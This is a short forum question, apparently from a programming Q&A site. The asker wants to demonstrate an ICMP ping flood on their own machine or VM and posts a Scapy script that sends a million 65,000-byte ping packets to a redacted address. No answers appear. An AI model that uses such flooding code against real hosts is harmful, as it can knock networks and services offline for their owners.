how to perform a Ping flood attack / ICMP flood attack demonstration?

35 Views Asked by At

I need to perform a Ping flood attack against myself another local computer / a virtual machine / ... to demonstrate that the network will be overloaded en eventualy stop responding using scapy.

I tried to execute this script with my own ip-adress and the ip of a vm on google cloud, but neither worked

from scapy.layers.inet import IP, TCP, ICMP
from scapy.packet import Raw
from scapy.sendrecv import send

def send_ping(target_ip_address: str, number_of_packets_to_send: int = 4, size_of_packet: int = 65000):
    ip = IP(dst=target_ip_address)
    icmp = ICMP()
    raw = Raw(b"X" * size_of_packet)
    p = ip / icmp / raw
    send(p, count=number_of_packets_to_send, verbose=0)
    print('send_ping(): Sent ' + str(number_of_packets_to_send) + ' pings of ' + str(size_of_packet) + ' size to ' + target_ip_address)


ip = "xx.xxx.xx.xxx"
port = 443
#   send_syn(ip, port, number_of_packets_to_send=1000)
send_ping(ip, number_of_packets_to_send=1000000)
0

There are 0 best solutions below